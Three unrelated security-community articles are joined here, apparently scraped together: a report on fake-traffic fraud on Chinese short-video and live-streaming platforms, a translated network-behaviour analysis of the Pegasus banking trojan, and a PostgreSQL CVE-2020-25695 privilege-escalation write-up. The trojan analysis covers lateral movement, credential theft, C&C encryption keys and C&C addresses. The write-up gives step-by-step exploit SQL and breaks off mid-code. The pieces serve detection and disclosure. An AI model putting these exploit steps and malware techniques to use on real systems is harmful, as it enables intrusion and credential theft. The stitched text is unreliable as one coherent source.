在视频行业，在线视频、短视频、直播三种不同类型的视频可谓是三分天下。在上一篇《黑产大数据：在线视频流量欺诈黑灰产研究报告》中，我们着重分析了影视剧在线视频行业的商业变现逻辑及黑灰产的运作动机及手法。相比在线视频，近年来短视频和直播在视频领域的火热和快速发展，流量红利背后吸引着更多黑灰产人员入局分羹。
**图为：三种不同刷量类型在近三年的黑产流量占比**
**1.1** **短视频行业的发展**
随着移动互联网终端的普及和网络的提速，短视频产品凭借着碎片化、高传播、低门槛、短平快的大流量内容传播特性，逐渐获得各大平台、用户和资本的青睐。用户规模的增长和广告主的关注带动了整体市场规模提升，自2011年国内最早的短视频雏形快手GIF诞生，到如今短视频行业出现百花争鸣的盛况。
随着短视频流量井喷式爆发，加上显著的营销效应，在互联网经济寒冬的2018年，短视频行业的融资依旧火热。同样是内容制作，影视剧行业在2018年无论是创作、发行、回款、融资方面都是举步维艰，而短视频行业却异军突起，成为最炙手可热的领域，从专业的投资机构到BAT等互联网巨头都纷纷入场。自2016年起，短视频平台也在探索广告、电商导流、品牌活动等多元的变现模式。
**1.2** **直播行业的发展**
资本寒冬下投资者更愿意往回报速度更快的领域投资，在有YY、陌陌上市背景下，直播行业清晰的盈利模式让它诞生之初就受到了资本市场的喜欢。
海外直播平台相对来说运营压力小，可复制性高，深受资本欢迎，另外有大流量的平台往往意味着有造星能力，以斗鱼、虎牙、花椒为例，在2018年仍然获得一笔高额融资可以支撑其继续发展，反而小平台等来了寒冬，光圈直播关闭，梦想直播欠薪等事情都暴露出小平台现金流不充足的问题。
另外，To B企业端的直播平台因为不存在主播高额签约费，比直播平台更早的实现盈利，部分To B直播公司获得了较大数额的融资。
## 2.巨大红利背后的暗流涌动
### **2.1** **短视频行业**
**2.1.1.** **广告变现**
短视频行业主要是信息流模式，平台本身对信息流具有极强的控制能力，基于此，部分平台开始上线广告推广业务，需要推广的用户选择与平台合作，平台可以在信息流中投放广告推广。
广告变现模式下，黑灰产则是作为第三方广告推广方，以低价介入官方平台与广告主之间，抢夺平台用户。
黑灰产通过大量养号，以低于平台官方价格承接推广业务后，在大量账号资源中批量发送推广广告，以巨量账号为基础，达到官方信息流的推广效果。
【图：广告变现模式下各方利益图】
**2.1.2.** **电商变现**
短视频行业一直也在尝试更多元化的变现渠道，短视频巨大的流量与电商的强强结合，是互动视频平台一个有效的变现手段。各大短视频平台也纷纷开通自有的电商通道。
带动多个爆款和拥有庞大的用户群体抖音，在2018年上线购物车功能，打通达人房间和淘宝；用户粘性极高的快手则在双十一前夕举办了首届卖货节。
电商变现模式下，有自己商品橱窗或者承接卖货的红人，就会衍生出刷量的需求，直接提高商品的曝光量和浏览量。
【图：电商变现模式下各方利益图】
**2.1.3.** **引流变现**
对于以信息流展示的短视频平台来讲，个人IP属性并不明显，部分用户就会以刷量来完成引流，此类刷量用户个人资料里绝大部分带有微信号、QQ号、微博号等其他具有更明显个人IP属性的第三方平台账号，后期完成变现。我们分析此类刷量用户，其中微商用户占据大头，具体数据详见第三章。
【图：引流变现模式下各方利益图】
**2.1.4.** **工会转型**
工会主要负责主播的培训和运营，作为主播和直播平台对接的枢纽，早期是直播行业生态链中不可或缺的一种角色。随着短视频行业的火爆，加上不少短视频平台为了迅速提升流量和内容，加大了对优质内容的补贴及新用户的拉新分成，对于有实力、有准备的工会来说，转型也就是自然而然的选择。
短视频的工会盈利模式与直播行业大体类似，详情分析请见2.2章节。
【图：平台、工会、红人利益关系图】
**2.2** **直播行业**
直播平台、工会/经纪公司、主播、用户作为直播产业链中最重要的四种角色，其中工会组织起着输出优质主播及对接直播平台的关键作用，在整个利益链条中，也是黑灰产切入整个利益链条的一个重要突破口。
没有背景和资源的普通新人主播，想在数百万主播中脱颖而出非常困难。加入工会的主播相比个人主播而言，具有直播平台更多的功能特权，比如每个月的提现额度没有限制，可以在高峰期开直播，甚至有资格参加平台的一些官方活动等。也可以享受更多的资源，比如工会和平台合作，重点培养的工会主播可以有首页推荐和全站热门推荐，也可以共享工会其他主播的粉丝资源。
前几年，公会仍然是小范围运作的行当，而如今随着直播的兴起，公会逐渐成为一个盈利模式清晰的商业类型。公会通过培养主播技能、精细化调整主播直播过程，从根本上提升主播自身竞争力。与此同时，公会会周期性的对主播进行包装以及对外宣传，增加主播曝光量。运营成功的主播会在平台积累大量粉丝，通过获得打赏，同时为公会和平台创收，公会和平台再对这些创收按双方约定好的协议进行分成。
【图：平台、工会、主播、观众的关系图】
【图：工会模式下主播培养路线】
**2.2.1.** **工会运营数据造假**
而工会对新人主播的运营，除了技能培养和培训外，第一步就在早期的运营手段中进行数据造假，比如给直播间刷礼物，帮助主播上各种排行榜；在平台购买推荐位置展示，增大主播的曝光率；给主播购买僵尸粉，增加主播的粉丝数；在主播的直播间购买水军，增加直播间人气等等。我们以抖音和快手为例，统计近4个月不同刷量业务的价格，如下表所示：
【图：抖音、快手刷量业务价格统计】
我们对短视频及直播平台的刷量用户的粉丝数进行了统计，数据显示绝大部分刷量用户为处于上升期的新人和草根用户。短视频以抖音为代表，刷量用户中超过40%的为上升期网络红人，粉丝数在1万至10万之间，约30%
的粉丝数不足1W的草根红人。直播平台以触手直播为代表，刷量主播中36.63%都为草根主播，粉丝数量低于5000，超过50万粉丝数量的主播占比仅为0.66%。详细数据请见第3章。
工会前期在对新人主播进行一定资金的投入后，如果主播成功火了，不仅工会会持续加大资源和流量投入，直播平台也会给予特权资源，以维持主播的热度。如果前期推广后，新人主播依旧不温不火，后期工会则会减少资源的投入。
**2.2.2.** **大额充值打折**
大部分工会和平台之间有直接的战略合作关系，在平台上对虚拟币进行充值时，会有大额充值折扣，甚至可以达到5折优惠。靠大额充值打折购买虚拟币，对主播进行虚假刷礼物，带动直播间气氛，获得更多真实用户的打赏，是工会对主播运营的一种常用手段。
比如工会在平台上可以用100万的价格购入200万的虚拟币，全部用于给工会主播打赏，带动主播直播间的气氛，激发真实用户的打赏行为。主播获得的打赏和平台进行分成（以五五分成为例），平台可以分得100万的虚拟币，填补折扣部分，同时获得了大量优质数据。工会提成主播分得的100万（对于上升期主播来说，一般工会提成非常高，主播主要为获得粉丝流量），工会可以达到低成本甚至零成本捧红自有主播，主播还可以通过参与线下的商业活动为工会带来更多收益。
这种在业内可以称之为“空手套白狼”的模式，不仅损害了正常充值用户的利益，也加大了处于上升期和草根期的个人主播的上升难度。
【图：大额充值优惠模式下利益关系图】
## 3.行业中的黑产数据
### **3.1** **短视频刷量数据**
在2018年大热的抖音，日活用户也爆发式增长，与行业巨头快手并驾齐驱，成为短视频行业的两座大山，两大平台也是黑灰产刷量的重点目标，超过刷量总量的60%。火山小视频因为分享视频可以赚钱提现，腾讯微视的补贴大战，被刷量情况紧随抖音、快手之后，其他主流短视频平台均存在不同程度的被刷量情况，详情如下图所示：
数据来源：威胁猎人TH-Karma业务情报监测平台
我们以2018年爆火的抖音为例，分析刷量用户的职业画像，其中23.77%的刷量用户主要用于引流，个人主页中会带有微信号、QQ号、微博账号等联系方式，其中留微信方式的超过80%，我们分析了51个留微信账号的用户，通过昵称和个签初步判断19个为微商用户；其次是电商变现，15.47%的刷量用户开通并展示了自己的商品橱窗；6.79%的刷量用户为企业认证用户，5.66%的刷量用户为内容制作者，如抖音音乐人、娱乐视频自媒体、网络红人等。
刷量用户中，绝大部分为处于草根阶段或者上升期的用户，他们对刷量的需求高于本身已有巨大粉丝基数的大流量用户。其中超过40%的为上升期网络红人，粉丝数在1万至10万之间，约30%
的粉丝数不足1W的草根红人。刷量用户的粉丝数统计情况如下图所示：
数据来源：威胁猎人TH-Karma业务情报监测平台
抖音的用户群体主要分布在南部地区及年轻群体，而抖音刷量用户中，广东地区用户数量最多，其次是北京、上海，刷量用户也主要为90后群体，刷量用户与抖音的用户分布基本吻合。
数据来源：威胁猎人TH-Karma业务情报监测平台
数据来源：威胁猎人TH-Karma业务情报监测平台
**3.2** **直播行业刷量数据**
我们统计直播行业个平台被刷量情况，其中66.83%的为触手直播平台的刷量，与其他直播平台重金抢夺头部主播不同的是，触手直播着力培养自有头部主播，对输出优质内容的主播的扶持力度更大。对于没有专业公户运营的草根主播来说，通过刷量获得直播平台上的首页及推荐位、排行榜位置，这种上升路径在触手直播平台会优于其他平台。以下为主流直播平台被刷量的占比情况：
数据来源：威胁猎人TH-Karma业务情报监测平台
触手作为一款主攻手游的直播平台，其刷量视频主要为热门手游，其中王者荣耀、刺激战场的直播视频为主要刷量对象，我们对触手直播刷量的视频进行以下统计：
数据来源：威胁猎人TH-Karma业务情报监测平台
人人都能做主播的时代，但是成名主播其实不多，百万关注主播只有0.1%，87%的主播关注都是低于500。头部主播自带粉丝流量基数，且大多数有专业的工会负责运营和产出优质内容，对于没有资源和渠道，也没有粉丝的草根主播，想要上升，刷量是一种重要的手段。我们对触手直播刷量的主播进行统计，36.63%的主播都为草根主播，粉丝数量低于5000，超过50万粉丝数量的主播占比仅为0.66%。以下为触手直播刷量主播的粉丝数量分布：
数据来源：威胁猎人TH-Karma业务情报监测平台
游戏群体中男性用户会明显高于女性用户，触手直播作为主攻游戏的直播平台，刷量主播的性别分布也出现明显的男女差异，超过80%的刷量主播为男主播。
数据来源：威胁猎人TH-Karma业务情报监测平台
## 4 欺诈流量如何提前感知
威胁猎人业务情报监测平台（TH-Karma）新增了流量欺诈的预警能力
威胁猎人预警平台公众号增加了新的预警能力，对虚假流量进行实时监控及预警，大家可关注公众号，后续我们会开放注册，让更多企业有业务风险预警能力。
**流量风险预警功能介绍：**
流量作弊定义：指造假网站访问、关键词搜索、渠道推广、视频播放量、广告点击量、文章阅读量、用户粉丝数、点赞数、评论数、恶意刷人气榜单等行为。存在排名推广作弊，骚扰正常用户，涉政黑五类内容引发监管等风险。
流量风险预警能力说明：威胁猎人通过对刷量渠道的实时监控，捕获黑灰产的攻击行为，并通过周报的形式推送一周的情况给相关客户。 | 社区文章 |
本文翻译自： <http://blog.ptsecurity.com/2018/07/pegasus-analysis-of-network-behavior.html>
## 前言
最近Pegasus（一种银行木马）的源代码被公布到了网上。尽管[报告](https://malware-research.org/carbanak-source-code-leaked/)的作者宣称木马出自黑客组织Carbanak之手，但Minerva实验室的研究人员已经证明，Pegasus实际上是一个名为Buhtrap（Ratopak）的黑客组织的作品。
该报告包含木马的概述，其源代码，关于俄罗斯银行业务流程的描述以及许多俄罗斯银行员工的信息。
Pegasus源代码的架构非常有趣。功能分为多个模块，在编译时组合成一个binpack。在编译期间，可执行文件使用文件tric.pfx中的证书进行签名，该证书未包含在报告里。
Pegasus的网络行为同样令人好奇。 感染后，Pegasus尝试在域内传播，并可以在Pipe和Mailslot传输的帮助下充当代理，在系统之间移动数据。
我们关注了该恶意软件的独特的网络行为，并快速将特征签名添加到PT网络攻击检测(PT Network Attack Discovery, PTNAD
)中。由此，PT
NAD的所有用户都可以在自己的网络上快速检测到此木马及其变种。在本文中，我将描述Pegasus如何在网络上传播以及Pegasus的拷贝如何相互通信。
## 基本结构
一旦感染计算机，初始化模块（InstallerExe）使用进程挖空(process
hollowing)将代码注入svchost.exe。主模块初始化后，Pegasus启动了几个并行进程：
1.域复制：收集网络信息，并尝试将Pegasus传播到其他Windows系统。
2.Mailslot Listener：监听Mailslot广播，Pegasus使用它来发送被盗的凭据。 插件名称在编译时生成。
3.Pipe Server Listener：侦听windows pipe，其名称由计算机名派生
这些pipe主要用于在同一网络上发现Pegasus的其他拷贝并与之通信。
4.登录密码：在基于Mimikatz的模块的帮助下，每隔几分钟尝试一次从内存中转储凭据。
5.网络连接：负责与C&C服务器连接并定期交换消息。
// 启动与CB管理器 的数据传输
pwInitPipeServerAsync(dcmGetServerCallback()); mwInitMailslotServer(dcmGetServerCallback());
...
// 开始向其他机器广播凭证
cmStartupNetworkBroadcaster();
## 域复制
该模块负责Windows网络的横向移动。包括两个步骤：
1. 发现域上的其他计算机。
2. 试图将Pegasus复制到那些机器上。
在域上发现其他计算机依赖于使用两个API调用：NetServerEnum，它需要浏览器服务(Browser service
)才能工作，以及WNetOpenEnum / WNetEnumResource。 然后验证域中发现的所有计算机是否已被感染。
Pegasus会每200毫秒一次轮询生成的pipe名称，重复超过20次。
（我们将这种奇怪的行为标记为Pegasus存在的指标之一。）如果Pegasus没有检测到任何感染迹象，则进入下一步：复制。
借助被感染的主机上找到的凭据，Pegasus尝试通过SMB协议登录到IPC $和ADMIN $共享目标。如果IPC $可访问但ADMIN
$不可访问，则Pegasus断定该帐户没有足够的权限并将凭据标记为无效。 在获得对ADMIN $
share（％windir％文件夹的别名）的访问权限后，恶意软件会尝试确定电脑的体系结构，以便选择要应用的合适模块。
它通过计算机上的PE文件的头部信息确定此计算机的体系结构。Pegasus尝试在％windir％文件夹中读取notepad.exe文件的前4
KB。此方法的一个小缺点是，在Windows Server 2012上，notepad.exe位于路径％windir％\
System32，而不是％windir％。
Windows 7上notepad.exe的位置：
C:\Users\Administrator>where notepad.exe
C:\Windows\System32\notepad.exe
C:\Windows\notepad.exe
Windows Server 2012上notepad.exe的位置：
C:\Users\Administrator>where notepad.exe
C:\Windows\System32\notepad.exe
如果未找到notepad.exe，则Pegasus无法感染服务器，即使它拿到了高权限帐户的凭据也一样。
因此，在％windir％中简单的缺少记事本程序就可以阻止Pegasus在Windows Server
2012上传播。举一反三，使用regedit.exe将是一种更加可靠的方式来完成此任务。
在确定目标服务器的体系结构后，Pegasus会下载一个大约10kb的小型的 Remote Service Exe dropper(RSE dropper)。
dropper的目的是通过明文Pipe下载包含有效载荷(Payload)模块的binpack，并将控制权移交给Shellcode模块。
dropper的名称是随机生成的，由8到15个十六进制字符组成。
随机生成器使用目标计算机的名称作为种子，并确保重新启动时名称相同，以避免将%windir%与多个Pegasus拷贝混淆。
在检查了dropper的完整性并确保未被反病毒软件删除dropper之后，恶意软件尝试通过Windows Management
Instrumentation（WMI）运行dropper。 也可以使用服务控制管理器（Service Control Manager,
SCM），但更倾向于使用第一种方法，因为SCM在Windows日志中留下了更多的痕迹。
源代码表明Pegasus的作者还打算使用别的方法进行复制：远程运行WSH，远程运行PowerShell 和计划任务。 通过RDP运行命令的模块也在开发中。
如前所述，一旦dropper启动成功，木马会检查并开始监听Pipe，然后将控制权移交给传来的payload。
## 清除痕迹
由于Pegasus代码是通过进程挖空注入svchost.exe进程的，因此被感染的磁盘不会保留初始模块InstallerExe的任何拷贝或RSE
dropper 。 如果仍然可以通过已知路径访问dropper，Pegasus将按如下方式删除它：
1. 用随机数据覆盖文件内容。
2. 使用空数据（零）再次覆盖文件。
3. 重命名文件。
4. 删除文件。
如果感染成功，则域复制将再次开始
## 邮槽(Mailslot)
当Pegasus从另一个Pegasus拷贝或mod_LogonPasswords模块获取凭据时，恶意软件开始在域上广播凭据。
使用Mailslot机制执行广播，该机制基于SMB并允许将小部分数据的单向广播发送到域内的各台计算机中。 插件名称是随机生成的。
为了统一域上所有受感染计算机传输的插件名称，随机名称生成器都以变量TARGET_BUILDCHAIN_HASH开头，该变量在创建时可以预先设置。
由于邮槽对数据包大小施加了上限，因此一次只广播一组凭据。 在所有可用的域凭证中，选择了最早广播的凭证集，也就是说此时所有凭证已被广播过至少一次。
邮槽数据不是以明文形式发送的，而是包含在三层XOR加密中，其密钥与数据一起传输。
第一层是NetMessageEnvelope，带有SHA1完整性检查，用于本地网络上发送的所有数据。 密钥包含在数据包开头的4个字节中，每次循环向右移5位。
第二层是一个XOR加密的数据结构，包含凭据字段及其添加日期。 结构的开头包含一个8字节的密钥，没有移位。第三层，
在解码凭证的结构之后，剩下的就是从ENC_BUFFER结构（例如计算机名，域名，用户名和密码）反序列化单个字段。 这些字段使用带有移位的8字节密钥进行加密。
我们提供了一组样例：一个邮槽数据包和用于解密它的脚本：
[脚本](https://gist.github.com/kirillwow/3ed4e475dab2e906d94561c7b1798d58) ，
[PCAP](https://www.cloudshark.org/captures/87931d2cc5b0) 。
在恶意软件的已发布版本中，邮槽消息以20秒到11分钟不等的间隔发送。
// 随机等待一段时间再进行下一步
DbgPrint("going to sleep");
#ifdef _DEBUG
// debug - 2-5 秒
Sleep(rg.rgGetRnd(&rg, 2000, 5000));
#else
// 每隔20 - 650 秒发送消息
//Sleep(rg.rgGetRnd(&rg, 2000, 65000) * 10);
Sleep(rg.rgGetRnd(&rg, 2000, 15000));
#endif
除了提供凭据之外，邮槽消息还会进行Internet访问并尝试查找具有此类访问权限的其他受感染计算机。
NetMessageEnvelope表示内部消息的类型。 pipe使得未连接外网的计算机可以通过与外网有连接的计算机中转进行通信。
## Pipe
Pegasus使用pipe进行双向通信并发送大量数据。
虽然每个pipe的名称是由随机生成器生成的，但它还取决于机器名称和结构，这允许Pegasus客户端和服务器使用相同的名称。
在单向通信期间（例如在复制期间将binpack发送到另一台计算机时），数据将以未加密的方式发送。
binpack的开头是SHELLCODE_CONTEXT结构，长度为561个字节。
双向通信——比如，C&C服务器与Pegasus拷贝通过Internet访问获取数据——使用的NetMessageEnvelope结构与我们前面在mailslot章节讲的XOR加密的结构相同。它的实现方式是使用不同的id字段以区分不同的消息类型。
具体的获取数据的方法：发送数据查询指令（PMI_SEND_QUERY）到被查询ID，并且可以通过其ID（PMI_CHECK_STATUS_QUERY）检查查询的状态。
在大多数情况下，Payload是另一种Envelope结构，它在上述结构的基础上又加了一层加密和新功能。
这些pipe不仅可以帮助受感染的机器进行通信。
模块mod_KBRI_hd注入cmd.exe进程，其代码拦截MoveFileExW调用并分析所有复制的数据——这可是银行支付机制的一部分。
如果复制的文件包含攻击者感兴趣的支付数据，则会向C&C服务器发送通知。
注入cmd.exe的mod_KBRI模块通过pipe与Pegasus进行通信，该pipe的名称不是随机生成的，而是硬编码：
\.\pipe\pg0F9EC0DB75F67E1DBEFB3AFA2
模块功能还包括使用模板飞速写入并即时替换付款信息的功能。 屏幕截图中显示了样本的搜索模式。
## C&C通信
与C&C服务器的数据交换由单独的数据流处理，该数据流每隔几分钟检查来自内部进程或Pegasus的其他拷贝的数据块队列，并将它们发送到服务器 。
在初始化mod_NetworkConnectivity模块期间，将通过以下几个步骤测试网络连接：
1）检测代理服务器设置并尝试连接到www.google.com：
* 通过注册表分支
\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings
* 通过WPAD（调用WinHttpGetProxyForUrl）
* 通过当前用户的代理服务器配置（WinHttpGetIEProxyConfigForCurrentUser调用）
2）验证与Microsoft更新服务器的连接以及从服务器返回的数据（ authrootseq.txt，authrootstl.cab ，
rootsupd.exe ）
3）使用以下地址之一测试HTTPS连接：
* <https://safebrowsing.google.com>
* <https://aus3.mozilla.org>
* <https://addons.mozilla.org>
* <https://fhr.data.mozilla.com>
* <https://versioncheck-bg.addons.mozilla.org>
* <https://services.addons.mozilla.org>
只有在所有这些检查都通过后，Pegasus才会考虑访问外部网络，之后它会通过邮槽消息在域上广播这一情况。
为了隐匿踪迹，Pegasus仅在工作时间（当地时间上午9:00至下午7:00）与C&C服务器通信。
数据块被打包进带有校验和的信封之中，随后在CRYPT_MODE_CBC / PKCS5_PADDING模式下使用DES加密发送。
加密密钥完全来自在编译时设置的变量，这意味着只要我们知道BUILDCHAIN_HASH的值，我们就可以解密Pegasus和C&C服务器之间的流量。
在相关报告的源代码中，此变量等于0x7393c9a643eb4a76。 我们同样提供了一套样本以供下载研究：用于解密服务器签入(check-in)的样本数据包和脚本：
[GitHub](https://gist.github.com/kirillwow/91ffb736a4fb088218e442efe3c5a168) ，
[PCAP](https://www.cloudshark.org/captures/c6047154ef72) 。
这些内容（在INNER_ENVELOPE结构中）在签入期间或与其他数据一起发送到C&C服务器。
它的开头是一个28字节的信封，其中含有表示数据包长度的字段以及SHA1校验和。
当通信对象是两台被感染的机器时，木马会通过pipe发送相同的数据，具体流程与我们前面讲NetMessageEnvelope的那部分相同，还加上了校验和以及XOR加密。
C&C控制者可以将执行命令发送到Pegasus拷贝。
带有命令或其他数据的消息（例如EID_CREDENTIALS_LIST）可以包含它们自己的字段加密层，正如广播被盗凭证这一过程中所看到的那样。
## 检测
我们重点研究了如何检测网络上的Pegasus活动。
在仔细研究了源代码并在测试环境中运行恶意软件后，我们建立了一个网络异常和工件的列表，能够清晰地指示出这个复杂的威胁。
可以这么说，Pegasus有好几把刷子：它主动使用SMB协议发送消息并与其他拷贝通信。 与其他拷贝和与C&C交互时用的方法也是不同的。
Pegasus拷贝在域上建立对等网络，搭建出一条路径连上Internet，并通过代理与C&C服务器通信。
拥有可执行文件的证书签名以及利用Microsoft和Mozilla站点来验证网络连接，这些都使得检测Pegasus活动和发现受感染主机变得困难。
Pegasus源代码的架构和注释做得相当的好，这使得其他黑客可能会复制或“借用”代码到自己的恶意软件里。
远程运行命令和搜索凭证的许多机制仍未实现。 木马开发人员未实现的功能包括在进程注入过程中动态修改shellcode。
我们已经开发出了几种特征，使得我们的安全产品PT NAD和Suricata IDS能够在的第一时间检测出不同阶段的Pegasus。
Suricata使用的已公开的特征可以在我们公司的[GitHub](https://github.com/ptresearch/AttackDetection/tree/master/carbanak_pegasus)和[Twitter](https://twitter.com/AttackDetection/status/1019310079961714689)上获得
，如果您启用了suricata-update，它将自动添加到Suricata。
您可以在以下屏幕截图中查看Pegasus特征的检测。 此视图取自PT Network Attack Discovery，我们的事件检测和电子取证产品：
最后，这里还有一些有用的IoC：
MAILSLOT \ 46CA075C165CBB2786
Pipe\ pg0F9EC0DB75F67E1DBEFB3AFA2
hxxp：//denwer/pegasus/index.php
hxxp：//mp3.ucrazy.org/music/index.php
hxxp：//support.zakon-auto.net/tuning/index.asp
hxxp：//video.tnt-online.info/tnt-comedy-tv/stream.php
原作者: Kirill Shipulin, @attackdetection team,
[Twitter](http://www.twitter.com/attackdetection) |
[Telegram](http://www.t.me/kirill_wow) | 社区文章 |
# CVE-2020-25695 Postgresql中的权限提升
已经快一年多了,我希望每个人都安康。这是我今年的第一篇也是唯一的一篇文章，涵盖了我在Postgresql中发现的一个有趣的特权升级漏洞。这会影响从9.5开始的所有受支持的Postgresql版本，很可能也会影响大多数较早的版本。
该漏洞类似于检查时间到使用时间[TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use)的问题，但是在这种情况，它与退出安全受限操作之前未完全清除/重置状态有关。
测试版本:
* 13.0 – PostgreSQL 13.0 (Debian 13.0-1.pgdg100+1)
* 12.4 – PostgreSQL 12.4 (Debian 12.4-1.pgdg100+1)
* 12.3 – PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1)
* 11.9 – PostgreSQL 11.9 (Debian 11.9-1.pgdg90+1)
发行说明和更新：[https](https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/)
:
[//www.postgresql.org/](https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/)
## 目标
我的目标找到一个漏洞，该漏洞将允许一个没有权限的用户将其提升到`superuser`。
有一些合法的方法可以为用户提供更高的Postgresql权限，而不给予用户完整的`superuser`权限。
通常使用`SECURITY DEFINER`函数完成此操作。
配置不当时,可以使用一个恶意编写的`SECURITY DEFINER` 函数和可控制`search_path`来提升特权。([Cybertec
Blog](https://www.cybertec-postgresql.com/en/abusing-security-definer-functions/))
在Postgresql文档中([how to safely write security definer
functions](https://www.postgresql.org/docs/current/sql-createfunction.html#SQL-CREATEFUNCTION-SECURITY))显式地说明了此功能。
> 由于`SECURITY DEFINER`函数是以拥有它的用户的特权执行的,因此,需要注意使用，确保该函数不会被滥用。
尽管这是合法的功能，它仍然提供了一个很好的开始，因为它使我了解了在源代码中查找的位置。
或许会有一种在其他上下文使用`SECURITY DEFINER`的方式。
## 查找
我首先研究了安全定义器函数和Postgresql切换用户权限的其他位置,我注意到其中提高`security-restricted
operations`。这立即引发了一种幻想，即可能在其中找到某些东西。调用grep,并搜索了提到`security-restricted
operations`的位置。
该术语出现的两个地方是`src/backend/commands/analyze.c`（`ANALYZE`指令）和`src/backend/commands/vacuum.c`（`VACUUM`指令),两者中都有相同的代码注释。
/*
* Switch to the table owner's userid, so that any index functions are run
* as that user. Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command.
*/
这带我们走进下一部分。
## 索引和功能
这似乎很有趣,我不知道索引可以运行函数。现在是时候去先弄清楚如何使索引运行用户功能。
原来这是很容易做到的。[文档](https://www.postgresql.org/docs/current/sql-createindex.html)有大量的索引调用函数示例(即使这些不是用户定义的, 它也展示了如何构造sql查询的语法)
例如:
CREATE INDEX ON films ((lower(title)));
在这种情况下,
一个索引被创建在`films`表`title`列,并使用`lower`函数将其转换为小写。这将很直接轻松地提供一个用户创建的功能而不是`lower`。
我跳过了一些必要的调试步骤，但可以归结为阅读使用函数时抛出的错误信息。此时要注意的事情是一个`INDEX`需要一个`IMMUTABLE`函数，这意味着该函数将始终为给定的输入返回相同的结果。这是有道理的,`INDEX`正在尝试优化唯一性。
CREATE FUNCTION sfunc(integer)
RETURNS integer
LANGUAGE sql IMMUTABLE AS
'SELECT $1';
现在创建一个表,并在该表创建一个索引:
CREATE TABLE blah (a int, b int);
INSERT INTO blah VALUES (1,1);
CREATE INDEX indy ON blah (sfunc(a));
这作用并不是很大,我想要一个做更有用事情的功能。例如将值插入到其他表中。原因是我想索引正在执行索引功能的用户。 在这点上，我的想法是:
create index as unpriv --> privileged user executes ANALYZE/VACUUM --> index function executes as privileged user
在这种场景，我计划使用`SERCURITY INVOKER`诱使Postgres以特权用户执行此功能。
-- create the table to insert the user into
CREATE TABLE t0 (s varchar);
-- create the security invoker function
CREATE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';
如上文所说, 索引需要一个`IMMUTABLE`函数.因此，尝试在索引使用该函数，将引发错误:
tmp=# CREATE INDEX indy ON blah (sfunc(a));
ERROR: functions in index expression must be marked IMMUTABLE
这似乎是一个死胡同。然后我突然想到可以重新创建/重新定义功能。只要您使用`CREATE OR REPLACE
FUNCTION`,任何现有的功能将会被覆盖。也许`INDEX`不会去检查一个定义好的函数是否会发生改变。(剧透,它的确不会)
CREATE FUNCTION sfunc(integer)
RETURNS integer
LANGUAGE sql IMMUTABLE AS
'SELECT $1';
CREATE INDEX indy ON blah (sfunc(a));
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';
现在,当索引运行时，`current_user`将会被插入到`t0`表中,为了确认,我切换到特权用户(postgres)并执行了该`ANALYZE`功能。
tmp=# SELECT * FROM t0;
s
--- (0 rows)
tmp=# ANALYZE;
ANALYZE
tmp=# SELECT * FROM t0;
s
----- foo
(1 row)
tmp=#
函数有效地触发了,但是我们插入了用户`foo`而不是`postgres`。这说明`SECURITY INVOKER`没有效果。
回顾前面的源代码解释，我们可以回想起在`security-restricted`函数中已切换所有者的uid.是的,我们证明了此功能有效,确认了我们找到了一个不错的绕过`IMMUTABLE`检查的功能，但这不是一个真正的安全问题。
## 稍后再说-延缓
回到源代码,我了解了如何进入`security-restricted`操作,然后退出。
在`vacuum.c`文件中，有一些有趣的注释。也许您可以立即发现引起我注意的部分。
/*
* Switch to the table owner's userid, so that any index functions are run
* as that user. Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command. (This is
* unnecessary, but harmless, for lazy VACUUM.)
*/
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
save_nestlevel = NewGUCNestLevel();
// DO LOTS OF WORK
// <--- SNIP --->
/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);
/* all done with this class, but hold lock until commit */
if (onerel)
relation_close(onerel, NoLock);
/*
* Complete the transaction and free all temporary memory used.
*/
PopActiveSnapshot();
CommitTransactionCommand();
看到最后的注释和函数调用了吗？
在`CommitTransactionCommand()`之后执行`SetUserAndSecContext`，将上下文用户标识重置为执行用户的上下文。在SQL中，您具有事务，并且直到提交的时候事务才终结。这为你提供了执行某些SQL的空间，让它的一部分失败，然后完整地回滚到输入事务之前对状态的任何更改。在此代码中，用户在提交事务之前已还原，这事实使我想知道是否有可能在提交完成之前潜入一些其他命令来执行。
接下来，花了很长时间去阅读文档并寻找延迟执行SQL命令的方法。最终，我碰到了`INITIALLY
DEFERRED`,他掌握了解锁这个难题的关键。这是文档的一部分[TRIGGERS](https://www.postgresql.org/docs/current/sql-createtrigger.html),其进一步让幻想成真。
什么是`INITIALLY DEFERRED`?
> INITIALLY DEFERRED The default timing of the trigger. See the CREATE TABLE
> documentation for details of these constraint options. This can only be
> specified for constraint triggers.
进入`CREATE TABLE`参考文献，您会发现：
> If a constraint is deferrable, this clause specifies the default time to
> check the constraint. If the constraint is INITIALLY IMMEDIATE, it is
> checked after each statement. This is the default. If the constraint is
> INITIALLY DEFERRED, it is checked only at the end of the transaction. The
> constraint check time can be altered with the SET CONSTRAINTS command.
听起来完全像我们想要的!初始化延迟的约束只在"事务结束"时检查。这表明他将在上下文切换之后，但在`commit`之前发生。
## 实践
下一个技巧是弄清楚如何使用约束触发器以及应将约束触发器放置在何处，以便它在正确的时刻触发。
首先，一个`CONSTRAINT
TRIGGER`需要一个函数去执行。这将是我们"最终"的步骤,应该在特权用户上下文执行。因此,我们将特权操作插入到这个函数,另外一个技巧是`CONSTRAINT
TRIGGER`需要以某种方式触发。幸运地是，我们已经准备好了初始位。由于索引调用我们插入到table中的自定义函数插入`t0`表,这个动作将导致约束触发器执行
Index runs --> sfunc inserts into t0 --> constraint trigger fires --> strig function is executed
这留给我们以下的SQL语句:
CREATE TABLE t1 (s varchar);
-- create a function for inserting current user into another table
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
